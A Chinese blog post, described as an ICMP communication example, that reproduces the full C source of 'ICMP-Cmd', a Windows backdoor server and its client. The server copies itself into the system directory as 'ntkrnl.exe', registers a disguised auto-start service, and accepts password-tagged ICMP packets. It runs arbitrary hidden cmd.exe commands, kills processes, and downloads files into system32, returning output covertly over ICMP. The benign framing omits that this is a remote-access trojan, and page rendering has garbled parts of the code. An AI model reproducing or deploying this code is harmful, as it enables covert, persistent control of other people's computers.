ICMP 通讯例子

本文提供了一个使用ICMP协议进行远程通信的示例代码,包括服务器端和服务安装卸载功能,客户端能够发送命令并接收反馈,支持列出进程、终止进程等功能。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

      代码从网上所得,是一个通过ICMP 协议通讯的例子。 服务器端,注册成为服务,所支持的功能有限,只有list process,以及 stop process ,以及卸载服务器的段所注册的服务。 (可以从代码中看到原作者)

    服务器端代码如下: 

#include <winsock2.h>
#include 
<stdio.h>
#include 
<urlmon.h> 
#include 
<tlhelp32.h>
//#include "stdafx.h"

#pragma comment(lib, "Urlmon.lib")
#pragma comment(lib, "ws2_32.lib")

#define ICMP_PASSWORD 1234                                             
#define STATUS_FAILED 0xFFFF
#define MAX_PACKET 6500
#define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))


/* The IP header */
typedef 
struct iphdr {
 unsigned 
int h_len:4//4位首部长度
 unsigned int version:4//IP版本号,4表示IPV4
 unsigned char tos; //8位服务类型TOS
 unsigned short total_len; //16位总长度(字节)
 unsigned short ident; //16位标识
 unsigned short frag_and_flags; //3位标志位
 unsigned char ttl; //8位生存时间 TTL
 unsigned char proto; //8位协议 (TCP, UDP 或其他)
 unsigned short checksum; //16位IP首部校验和
 unsigned int sourceIP; //32位源IP地址
 unsigned int destIP; //32位目的IP地址
}IpHeader;


//定义ICMP首部
typedef struct _ihdr 
{
 BYTE i_type; 
//8位类型
 BYTE i_code; //8位代码
 USHORT i_cksum; //16位校验和 
 USHORT i_id; //识别号(一般用进程号作为识别号)
 USHORT i_seq; //报文序列号 
 ULONG timestamp; //时间戳
}IcmpHeader;

char arg[256];
char buffer[2048= {0};//管道输出的数据
void decode_resp(char *,int ,struct sockaddr_in *);//ICMP解包函数
void fill_icmp_data(char * icmp_data);
void pslist(void);
BOOL killps(DWORD id);
//杀进程函数
void send(void);
char *ICMP_DEST_IP;
USHORT checksum(USHORT 
*buffer, int size);

 

HANDLE                hMutex;
SERVICE_STATUS        ServiceStatus;
SERVICE_STATUS_HANDLE ServiceStatusHandle;

void  WINAPI ICMP_CmdStart(DWORD,LPTSTR *);
void  WINAPI CmdControl(DWORD);
DWORD WINAPI CmdService(LPVOID);
void  InstallCmdService(void);
void  RemoveCmdService(void);
void  usage(char *par);

int main(int argc,char *argv[])
{
#if 0
 SERVICE_TABLE_ENTRY DispatchTable[]
={{"ntkrnl",ICMP_CmdStart},{NULL,NULL}};

 
if(argc==2)
 {
  
if(!stricmp(argv[1],"-install"))
  {
   usage(argv[
0]);
   InstallCmdService();
  }
  
else if(!stricmp(argv[1],"-remove"))
  {
   usage(argv[
0]);
   RemoveCmdService();
  }
  
else usage(argv[0]);
  
return 0;
 }
 
else usage(argv[0]);

 


 StartServiceCtrlDispatcher(DispatchTable);
#endif
 CmdService(
0);
 
return 0;
}

void WINAPI ICMP_CmdStart(DWORD dwArgc,LPTSTR *lpArgv)
{
 HANDLE    hThread;

 ServiceStatus.dwServiceType             
= SERVICE_WIN32;
 ServiceStatus.dwCurrentState            
= SERVICE_START_PENDING;
 ServiceStatus.dwControlsAccepted        
= SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_PAUSE_CONTINUE;
 ServiceStatus.dwServiceSpecificExitCode 
= 0;
 ServiceStatus.dwWin32ExitCode           
= 0;
 ServiceStatus.dwCheckPoint              
= 0;
 ServiceStatus.dwWaitHint                
= 0;

 ServiceStatusHandle
=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
 
if(ServiceStatusHandle==0)
 {
  OutputDebugString(
"RegisterServiceCtrlHandler Error ! ");
  
return ;
 }

 ServiceStatus.dwCurrentState 
= SERVICE_RUNNING;
 ServiceStatus.dwCheckPoint   
= 0;
 ServiceStatus.dwWaitHint     
= 0;

 
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
 {
  OutputDebugString(
"SetServiceStatus in CmdStart Error ! ");
  
return ;
 }

 hThread
=CreateThread(NULL,0,CmdService,NULL,0,NULL);
 
if(hThread==NULL)
 {
  OutputDebugString(
"CreateThread in CmdStart Error ! ");
 }

 
return ;
}

void WINAPI CmdControl(DWORD dwCode)
{
 
switch(dwCode)
 {
 
case SERVICE_CONTROL_PAUSE:
  ServiceStatus.dwCurrentState 
= SERVICE_PAUSED;
  
break;

 
case SERVICE_CONTROL_CONTINUE:
  ServiceStatus.dwCurrentState 
= SERVICE_RUNNING;
  
break;

 
case SERVICE_CONTROL_STOP:      
  WaitForSingleObject(hMutex,INFINITE);

  ServiceStatus.dwCurrentState  
= SERVICE_STOPPED;
  ServiceStatus.dwWin32ExitCode 
= 0;
  ServiceStatus.dwCheckPoint    
= 0;
  ServiceStatus.dwWaitHint      
= 0;
  
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
  {
   OutputDebugString(
"SetServiceStatus in CmdControl in Switch Error ! ");
  }

  ReleaseMutex(hMutex);
  CloseHandle(hMutex);
  
return ;

 
case SERVICE_CONTROL_INTERROGATE:
  
break;

 
default:
  
break;
 }

 
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
 {
  OutputDebugString(
"SetServiceStatus in CmdControl out Switch Error ! ");
 }

 
return ;
}

DWORD WINAPI CmdService(LPVOID lpParam)
//这里是服务的主函数,把你的代码写在这里就可以成为服务
{   
 
char *icmp_data;
 
int bread,datasize,retval;
 SOCKET sockRaw 
= (SOCKET)NULL;
 WSADATA wsaData;
 
struct sockaddr_in dest,from;
 
int fromlen = sizeof(from);
 
int timeout = 2000;
 
char *recvbuf;

 

 
if ((retval = WSAStartup(MAKEWORD(2,1),&wsaData)) != 0)
 {
  printf(
"WSAStartup failed: %s ",retval);
  ExitProcess(STATUS_FAILED);
 }

 sockRaw 
= WSASocket (AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED);
 
if (sockRaw == INVALID_SOCKET)
 {
  printf(
"WSASocket() failed: %s ",WSAGetLastError());
  ExitProcess(STATUS_FAILED);
 }
 __try{
  bread 
= setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout));

  
if(bread == SOCKET_ERROR) __leave;


  memset(
&dest,0,sizeof(dest));
  dest.sin_family 
= AF_INET;
  datasize
=0;
  datasize 
+= sizeof(IcmpHeader); 
  icmp_data 
=(char*)xmalloc(MAX_PACKET);
  recvbuf 
= (char*)xmalloc(MAX_PACKET);
  
if (!icmp_data) {
   
//fprintf(stderr,"HeapAlloc failed %d ",GetLastError());
   __leave;
  }
  memset(icmp_data,
0,MAX_PACKET);
  
for(;;) {

   
int bwrote;
   bwrote 
= sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));

   bread 
= recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct sockaddr*)&from,&fromlen);
   
if (bread == SOCKET_ERROR)
   {
    
if (WSAGetLastError() == WSAETIMEDOUT)continue;

    __leave;

   }
   decode_resp(recvbuf,bread,
&from);
   Sleep(
200);
   memset(recvbuf,
0,sizeof(recvbuf));
  }
 }
 __finally {
  
if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);
  WSACleanup();
 }
 
return 0;
}

 


void InstallCmdService(void)
{
 SC_HANDLE        schSCManager;
 SC_HANDLE        schService;
 
char             lpCurrentPath[MAX_PATH];
 
char             lpImagePath[MAX_PATH];
 
char             *lpHostName;
 WIN32_FIND_DATA  FileData;
 HANDLE           hSearch;
 DWORD            dwErrorCode;
 SERVICE_STATUS   InstallServiceStatus;


 GetSystemDirectory(lpImagePath,MAX_PATH);
 strcat(lpImagePath,
"/ntkrnl.exe");
 lpHostName
=NULL;

 printf(
"Transmitting File ... ");
 hSearch
=FindFirstFile(lpImagePath,&FileData);
 
if(hSearch==INVALID_HANDLE_VALUE)
 {
  GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
  
if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0
  {
   dwErrorCode
=GetLastError();
   
if(dwErrorCode==5)
   {
    printf(
"Failure ... Access is Denied ! ");         
   }
   
else
   {
    printf(
"Failure ! ");
   }
   
return ;
  }
  
else
  {
   printf(
"Success ! ");
  }
 }
 
else
 {
  printf(
"already Exists ! ");
  FindClose(hSearch);
 }

 schSCManager
=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
 
if(schSCManager==NULL)
 {
  printf(
"Open Service Control Manager Database Failure ! ");
  
return ;
 }

 printf(
"Creating Service .... ");
 schService
=CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,
  SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,
  SERVICE_ERROR_IGNORE,
"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL); 
 
if(schService==NULL)
 {
  dwErrorCode
=GetLastError();
  
if(dwErrorCode!=ERROR_SERVICE_EXISTS)
  {
   printf(
"Failure ! ");
   CloseServiceHandle(schSCManager);
   
return ;
  }
  
else
  {
   printf(
"already Exists ! ");
   schService
=OpenService(schSCManager,"ntkrnl",SERVICE_START);
   
if(schService==NULL)
   {
    printf(
"Opening Service .... Failure ! ");
    CloseServiceHandle(schSCManager);
    
return ;
   }
  }
 }
 
else
 {
  printf(
"Success ! ");
 }

 printf(
"Starting Service .... ");
 
if(StartService(schService,0,NULL)==0)                         
 {
  dwErrorCode
=GetLastError();
  
if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)
  {
   printf(
"already Running ! ");
   CloseServiceHandle(schSCManager);  
   CloseServiceHandle(schService);
   
return ;
  }
 }
 
else
 {
  printf(
"Pending ... ");
 }

 
while(QueryServiceStatus(schService,&InstallServiceStatus)!=0)           
 {
  
if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING)
  {
   Sleep(
100);
  }
  
else
  {
   
break;
  }
 }
 
if(InstallServiceStatus.dwCurrentState!=SERVICE_RUNNING)
 {
  printf(
"Failure ! ");                       
 }
 
else
 {
  printf(
"Success ! ");
 }

 CloseServiceHandle(schSCManager);
 CloseServiceHandle(schService);
 
return ;
}

void RemoveCmdService(void
{
 SC_HANDLE        schSCManager;
 SC_HANDLE        schService;
 
char             lpImagePath[MAX_PATH];
 
char             *lpHostName;
 WIN32_FIND_DATA  FileData;
 SERVICE_STATUS   RemoveServiceStatus;
 HANDLE           hSearch;
 DWORD            dwErrorCode;


 GetSystemDirectory(lpImagePath,MAX_PATH);
 strcat(lpImagePath,
"/ntkrnl.exe");
 lpHostName
=NULL;


 schSCManager
=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
 
if(schSCManager==NULL)
 {
  printf(
"Opening SCM ......... ");
  dwErrorCode
=GetLastError();
  
if(dwErrorCode!=5)
  {
   printf(
"Failure ! "); 
  }
  
else
  {
   printf(
"Failuer ... Access is Denied ! ");
  }
  
return ;
 }

 schService
=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS);
 
if(schService==NULL) 
 {
  printf(
"Opening Service ..... ");
  dwErrorCode
=GetLastError();
  
if(dwErrorCode==1060)
  {
   printf(
"no Exists ! ");
  }
  
else
  {
   printf(
"Failure ! ");
  }
  CloseServiceHandle(schSCManager);
 }
 
else
 {
  printf(
"Stopping Service .... ");
  
if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)
  {
   
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
   {
    printf(
"already Stopped ! "); 
   }
   
else
   {
    printf(
"Pending ... ");
    
if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
    {
     
while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)         
     {
      Sleep(
10);
      QueryServiceStatus(schService,
&RemoveServiceStatus);
     }
     
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
     {
      printf(
"Success ! ");
     }
     
else
     {
      printf(
"Failure ! ");
     }
    }
    
else
    {
     printf(
"Failure ! ");          
    }
   }
  }
  
else
  {
   printf(
"Query Failure ! ");
  }

  printf(
"Removing Service .... ");     
  
if(DeleteService(schService)==0)
  {
   printf(
"Failure ! ");   
  }
  
else
  {
   printf(
"Success ! ");
  }
 }

 CloseServiceHandle(schSCManager);        
 CloseServiceHandle(schService);

 printf(
"Removing File ....... ");
 Sleep(
1500);
 hSearch
=FindFirstFile(lpImagePath,&FileData);
 
if(hSearch==INVALID_HANDLE_VALUE)
 {
  printf(
"no Exists ! ");
 }
 
else
 {
  
if(DeleteFile(lpImagePath)==0)
  {
   printf(
"Failure ! ");               
  }
  
else
  {
   printf(
"Success ! ");
  }
  FindClose(hSearch);
 }

 
return ;
}

void decode_resp(char *buf, int bytes,struct sockaddr_in *from) 
{


 IpHeader 
*iphdr;
 IcmpHeader 
*icmphdr;
 unsigned 
short iphdrlen;
 iphdr 
= (IpHeader *)buf;
 iphdrlen 
= iphdr->h_len * 4 ; 
 icmphdr 
= (IcmpHeader*)(buf + iphdrlen);
 
if(icmphdr->i_seq==ICMP_PASSWORD)//密码正确则输出数据段
 {

  ICMP_DEST_IP
=inet_ntoa(from->sin_addr);//取得ICMP包的源地址

  memcpy(arg,buf
+iphdrlen+12,256);
  
if (!memcmp(arg,"pskill",6))
  {
   killps(atoi(strstr(arg,
" ")));
   memcpy(buffer,
"Process is Killed!",sizeof("Process is Killed!"));
   send();
  }

 

  
else if (!memcmp(arg,"pslist",6)){pslist();send();}
  
else if (!strcmp(arg,"remove "))
  {
   RemoveCmdService();
   memcpy(buffer,
"Service Removed!",sizeof("Service Removed!"));
   send();
   
return;
  }
  
////////////************    http下载   *************
  else if (!memcmp(arg,"http://",7))   
  {
   
if(char *FileName=strstr(arg,"-"))
   {

    
char url[200];//保存网址的数组
    memset(url,0,200);
    memcpy(url,arg,
int(FileName-arg-1));
    
char fname[MAX_PATH];
    GetSystemDirectory(fname,MAX_PATH);
    FileName
++;
    strcat(fname,
"/");
    strcat(fname,FileName);
    
*strstr(fname," ")=NULL;
    HRESULT hRet
=URLDownloadToFile(0,url,fname,0,0);
    memset(buffer,
0,sizeof(buffer));
    
if(hRet==S_OK) memcpy(buffer,"Download OK! ",sizeof("Download OK "));
    
else 
     memcpy(buffer,
"Download Failure! ",sizeof("Download Failure! "));
    send();
    
return;
   }
  }
  
//*******************************************
  else{

   SECURITY_ATTRIBUTES sa;
//创建匿名管道用于取得cmd的命令输出
   HANDLE hRead,hWrite;
   sa.nLength 
= sizeof(SECURITY_ATTRIBUTES);
   sa.lpSecurityDescriptor 
= NULL;
   sa.bInheritHandle 
= TRUE;
   
if (!CreatePipe(&hRead,&hWrite,&sa,0)) 
   {
    printf(
"Error On CreatePipe()");
    
return;
   } 


   STARTUPINFO si;
   PROCESS_INFORMATION pi; 
   si.cb 
= sizeof(STARTUPINFO);
   GetStartupInfo(
&si); 
   si.hStdError 
= hWrite;
   si.hStdOutput 
= hWrite;
   si.wShowWindow 
= SW_HIDE;
   si.dwFlags 
= STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

   
char cmdline[270];
   GetSystemDirectory(cmdline,MAX_PATH
+1);

   strcat(cmdline,
"/cmd.exe /c");

   strcat(cmdline,arg);
   
if (!CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)) 
   {
    printf(
"Error on CreateProcess()");
    
return;
   }
   CloseHandle(hWrite);


   DWORD bytesRead; 

   
for(;;){
    
if (!ReadFile(hRead,buffer,2048,&bytesRead,NULL))break;
    Sleep(
200);
   }
   
//printf("%s",buffer);
   /////////////////////////////////////////////
   //发送输出数据

   send();

  }
  
////////////////////////////////////////////////


 }
 
//else printf("Other ICMP Packets! ");
 
//printf(endl; 
}

 


USHORT checksum(USHORT 
*buffer, int size) 
{
 unsigned 
long cksum=0;
 
while(size >1
 {
  cksum
+=*buffer++;
  size 
-=sizeof(USHORT);
 }
 
if(size ) {
  cksum 
+= *(UCHAR*)buffer;
 }
 cksum 
= (cksum >> 16+ (cksum & 0xffff);
 cksum 
+= (cksum >>16);
 
return (USHORT)(~cksum);
}


void fill_icmp_data(char * icmp_data)
{

 IcmpHeader 
*icmp_hdr;
 
char *datapart;
 icmp_hdr 
= (IcmpHeader*)icmp_data;
 icmp_hdr
->i_type = 0;
 icmp_hdr
->i_code = 0;
 icmp_hdr
->i_id = (USHORT) GetCurrentProcessId();
 icmp_hdr
->i_cksum = 0;
 icmp_hdr
->i_seq =4321;
 icmp_hdr
->timestamp = GetTickCount(); //设置时间戳
 datapart = icmp_data + sizeof(IcmpHeader);
 memcpy(datapart,buffer,strlen(buffer));
 
//for(int i=0;i<sizeof(buffer);i++) datapart[i]=buffer[i]; 
}

void  usage(char *par)
{

 printf(
" =====Welcome to www.hackerxfiles.net====== ");
 printf(
" ");
 printf(
" ---[ ICMP-Cmd v1.0 beta, by gxisone   ]--- ");
 printf(
" ---[ E-mail: gxisone@hotmail.com      ]--- ");
 printf(
" ---[                        2003/8/15 ]--- ");
 printf(
" ");
 printf(
" Usage: %s -install (to install service) ",par);
 printf(
"        %s -remove (to remove service) ",par);
 printf(
" ");

 
return ;


}

void send(void)
{

 WSADATA wsaData;
 SOCKET sockRaw 
= (SOCKET)NULL;
 
struct sockaddr_in dest;
 
int bread,datasize,retval,bwrote;
 
int timeout = 1000;
 
char *icmp_data;

 
if((retval=WSAStartup(MAKEWORD(2,1),&wsaData)) != 0) ExitProcess(STATUS_FAILED);
 
if((sockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED))
  
==INVALID_SOCKET) ExitProcess(STATUS_FAILED);
 __try
 {
  
if((bread=setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout)))==SOCKET_ERROR) __leave;
  
//设置发送超时
  memset(&dest,0,sizeof(dest));
  dest.sin_family 
= AF_INET;
  dest.sin_addr.s_addr 
= inet_addr(ICMP_DEST_IP);
  datasize
=strlen(buffer);
  datasize
+=sizeof(IcmpHeader); 
  icmp_data
=(char*)xmalloc(MAX_PACKET);

  
if(!icmp_data) __leave;
  memset(icmp_data,
0,MAX_PACKET);

  fill_icmp_data(icmp_data); 
//填充ICMP报文
  ((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize); //计算校验和
  bwrote=sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest)); //发送报文

  
if (bwrote == SOCKET_ERROR)
  {
   
//if (WSAGetLastError() == WSAETIMEDOUT) printf("Timed out ");
   
//printf("sendto failed:"<<WSAGetLastError()<<endl;
   __leave;
  }

  
//printf("Send Packet to %s Success! "<<ICMP_DEST_IP<<endl;
 }


 __finally 
 {
  
if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);
  WSACleanup();
 }
 memset(buffer,
0,sizeof(buffer));
 Sleep(
200);

}

void pslist(void)
{
 HANDLE hProcessSnap 
= NULL;
 PROCESSENTRY32 pe32
= {0};
 hProcessSnap 
= CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 
if (hProcessSnap == (HANDLE)-1)
 {
  printf(
" CreateToolhelp32Snapshot() failed:%d",GetLastError());
  
return ;
 }
 pe32.dwSize 
= sizeof(PROCESSENTRY32);
 printf(
" ProcessName     ProcessID");
 
if (Process32First(hProcessSnap, &pe32))
 {
  
char a[5];

  
do
  {
   strcat(buffer,pe32.szExeFile);
   strcat(buffer,
" ");
   itoa(pe32.th32ProcessID,a,
10);
   strcat(buffer,a);
   strcat(buffer,
" ");
   
//printf(" %-20s%d",pe32.szExeFile,pe32.th32ProcessID);
  }
  
while (Process32Next(hProcessSnap, &pe32));

 }
 
else
 {
  printf(
" Process32Firstt() failed:%d",GetLastError());
 }
 CloseHandle (hProcessSnap);
 
return;
}

BOOL SetPrivilege(HANDLE hToken,LPCTSTR lpszPrivilege,BOOL bEnablePrivilege)
//提示权限
{
 TOKEN_PRIVILEGES tp;
 LUID luid;

 
if(!LookupPrivilegeValue(NULL,lpszPrivilege,&luid))
 {
  printf(
" LookupPrivilegeValue error:%d", GetLastError() ); 
  
return FALSE; 
 }
 tp.PrivilegeCount 
= 1;
 tp.Privileges[
0].Luid = luid;
 
if (bEnablePrivilege)
  tp.Privileges[
0].Attributes = SE_PRIVILEGE_ENABLED;
 
else
  tp.Privileges[
0].Attributes = 0;
 
// Enable the privilege or disable all privileges.
 AdjustTokenPrivileges(
  hToken, 
  FALSE, 
  
&tp, 
  
sizeof(TOKEN_PRIVILEGES), 
  (PTOKEN_PRIVILEGES) NULL, 
  (PDWORD) NULL); 
 
// Call GetLastError to determine whether the function succeeded.
 if (GetLastError() != ERROR_SUCCESS) 
 { 
  printf(
"AdjustTokenPrivileges failed: %u ", GetLastError() ); 
  
return FALSE; 
 } 
 
return TRUE;
}
////////////////////////////////////////////////////////////////////////////
BOOL killps(DWORD id)//杀进程函数
{
 HANDLE hProcess
=NULL,hProcessToken=NULL;
 BOOL IsKilled
=FALSE,bRet=FALSE;
 __try
 {

  
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hProcessToken))
  {
   printf(
" Open Current Process Token failed:%d",GetLastError());
   __leave;
  }
  
//printf(" Open Current Process Token ok!");
  if(!SetPrivilege(hProcessToken,SE_DEBUG_NAME,TRUE))
  {
   __leave;
  }
  printf(
" SetPrivilege ok!");

  
if((hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,id))==NULL)
  {
   printf(
" Open Process %d failed:%d",id,GetLastError());
   __leave;
  }
  
//printf(" Open Process %d ok!",id);
  if(!TerminateProcess(hProcess,1))
  {
   printf(
" TerminateProcess failed:%d",GetLastError());
   __leave;
  }
  IsKilled
=TRUE;
 }
 __finally
 {
  
if(hProcessToken!=NULL) CloseHandle(hProcessToken);
  
if(hProcess!=NULL) CloseHandle(hProcess);
 }
 
return(IsKilled);
}

 

   上面代码是服务器端,client 段的代码很简单:

#include <winsock2.h>
#include 
<stdio.h>
#include 
<stdlib.h> 

#pragma comment(lib,"ws2_32.lib")

char SendMsg[256];

/* The IP header */
typedef 
struct iphdr {
unsigned 
int h_len:4//4位首部长度
unsigned int version:4//IP版本号,4表示IPV4
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IpHeader;

 


typedef 
struct _ihdr
{
BYTE i_type;
//8位类型
BYTE i_code; //8位代码
USHORT i_cksum;//16位校验和
USHORT i_id;//识别号(一般用进程号作为识别号)
USHORT i_seq;//报文序列号
ULONG timestamp;//时间截
} IcmpHeader;

#define STATUS_FAILED 0xFFFF
  
#define MAX_PACKET 2000
char arg[1450];

#define xmalloc(s) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (s))


void fill_icmp_data(char *int);
USHORT checksum(USHORT 
*int);

void decode_resp(char *,int ,struct sockaddr_in *);//ICMP解包函数
void help(void);
void usage(char * prog);

int main(int argc, char *argv[])
{
char *ICMP_DEST_IP; //目标主机的IP
char *recvbuf;

if(argc!=2)
 {
  usage(argv[
0]);
  
return 0;
 }

ICMP_DEST_IP
=argv[1];//取得目标主机IP
WSADATA wsaData;
SOCKET sockRaw;
struct sockaddr_in dest,from;
int datasize;
int fromlen=sizeof(from);

char *icmp_data;

 


if(WSAStartup(MAKEWORD(22), &wsaData) != 0)
{
fprintf(stderr, 
"WSAStartup failed: %d ", GetLastError());
ExitProcess(STATUS_FAILED);
}
sockRaw
=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
int timeout=1000;
setsockopt(sockRaw, SOL_SOCKET, SO_SNDTIMEO, (
char *&timeout, sizeof(timeout));
timeout
=4000;
setsockopt(sockRaw, SOL_SOCKET, SO_RCVTIMEO, (
char *&timeout, sizeof(timeout));
memset(
&dest,0,sizeof(dest));
dest.sin_addr.s_addr
=inet_addr(ICMP_DEST_IP);
dest.sin_family
=AF_INET;

usage(argv[
0]);
__try{
for(;;){

printf(
"ICMP-CMD>");
fgets(SendMsg,
1024,stdin);//取得命令行,保存在SendMsg数组中

if(!strcmp(SendMsg,"Q ")||!strcmp(SendMsg,"q "))ExitProcess(0);
if(!strcmp(SendMsg," "))continue;
if(!strcmp(SendMsg,"H ")||!strcmp(SendMsg,"h ")){help();continue;}
if(!memcmp(SendMsg,"http://",7))
if(!strstr(SendMsg,"-")){printf(" FileName Error. Use "-FileName" ");continue;}

datasize
=strlen(SendMsg);
datasize
+=sizeof(IcmpHeader);
printf(
"ICMP packet size is %d",datasize);
icmp_data
= (char*)xmalloc(MAX_PACKET);
recvbuf
= (char *)xmalloc(MAX_PACKET);
memset(icmp_data,
0, MAX_PACKET);
fill_icmp_data(icmp_data, datasize);
((IcmpHeader 
*)icmp_data)->i_cksum=0;
((IcmpHeader 
*)icmp_data)->i_cksum=checksum((USHORT *)icmp_data, datasize);

int bwrote=sendto(sockRaw, icmp_data, datasize, 0, (struct sockaddr *&dest, sizeof(dest));

if (bwrote == SOCKET_ERROR)
{
if (WSAGetLastError() == WSAETIMEDOUT) printf("Timed out ");
fprintf(stderr,
"sendto failed: %d ",WSAGetLastError());

}

  
if (bwrote<datasize ) {//没有把所有的数据发送出去,也出错了。

         
return 0;

       }

printf(
" Send Packet to %s Success! ",argv[1]);

DWORD start 
= GetTickCount();
for(;;){

if((GetTickCount() - start) >= 1000break;
memset(recvbuf,
0,MAX_PACKET);
int bread=recvfrom(sockRaw, recvbuf, MAX_PACKET, 0, (struct sockaddr *&from, &fromlen);
if(bread == SOCKET_ERROR)
{
if(WSAGetLastError() == WSAETIMEDOUT)
{
printf(
"timed out ");
break;
}

fprintf(stderr, 
"recvfrom failed: %d ", WSAGetLastError());
break;
}

decode_resp(recvbuf, bread, 
&from);
}
}
//end for

}
//end try

 


__finally
{
if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);
WSACleanup();
}

return 0;
}


USHORT checksum(USHORT 
*buffer, int size)
{
unsigned 
long cksum=0;

while(size > 1)
{
cksum
+=*buffer++;
size
-=sizeof(USHORT);
}

if(size)
{
cksum
+=*(UCHAR *)buffer;
}

cksum
=(cksum >> 16+ (cksum & 0xffff);
cksum
+=(cksum >> 16);
return(USHORT) (~cksum);
}
void fill_icmp_data(char *icmp_data, int datasize)
{
IcmpHeader 
*icmp_hdr;
char *datapart;
icmp_hdr
= (IcmpHeader *)icmp_data;
icmp_hdr
->i_type=0;
icmp_hdr
->i_code=0;
icmp_hdr
->i_id=(USHORT)GetCurrentProcessId();
icmp_hdr
->timestamp =GetTickCount();
icmp_hdr
->i_seq=1234;
datapart
=icmp_data + sizeof(IcmpHeader);
memcpy(datapart,SendMsg,
sizeof(SendMsg));



void usage(char * prog)
{
 printf(
" =====Welcome to www.hackerxfiles.net====== ");
 printf(
" ");
    printf(
" ---[ ICMP-Cmd v1.0 beta, by gxisone   ]--- ");
 printf(
" ---[ E-mail:    gxisone@hotmail.com   ]--- ");
 printf(
" ---[                      2003/8/15   ]--- ");
 printf(
" usage: %s RemoteIP ",prog);
 printf(
" Ctrl+C or Q/q to Quite        H/h for help ");
}

 


void decode_resp(char *buf, int bytes,struct sockaddr_in *from) 
{
memset(arg,
0,sizeof(arg));
IpHeader 
*iphdr;
IcmpHeader 
*icmphdr;
unsigned 
short iphdrlen;
iphdr 
= (IpHeader *)buf;
iphdrlen 
= iphdr->h_len * 4 ; 
icmphdr 
= (IcmpHeader*)(buf + iphdrlen);
if(icmphdr->i_seq==4321)//密码正确则输出数据段
{
printf(
"%d bytes from %s:",bytes, inet_ntoa(from->sin_addr));
printf(
" IcmpType %d",icmphdr->i_type);
printf(
" IcmpCode %d",icmphdr->i_code);
printf(
" ");
memcpy(arg,buf
+iphdrlen+12,1450);
printf(
"%s",arg);
}

else printf("Other ICMP Packets! ");

}

void help(void)
{
 printf(
" ");
 printf(
"[http://127.0.0.1/hack.exe -admin.exe]  (Download Files. Parth is //system32) ");
 printf(
"[pslist]        (List the Process) ");
 printf(
"[pskill ID]     (Kill the Process) ");
 printf(
"Command         (run the command) "); 
 printf(
" ");
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值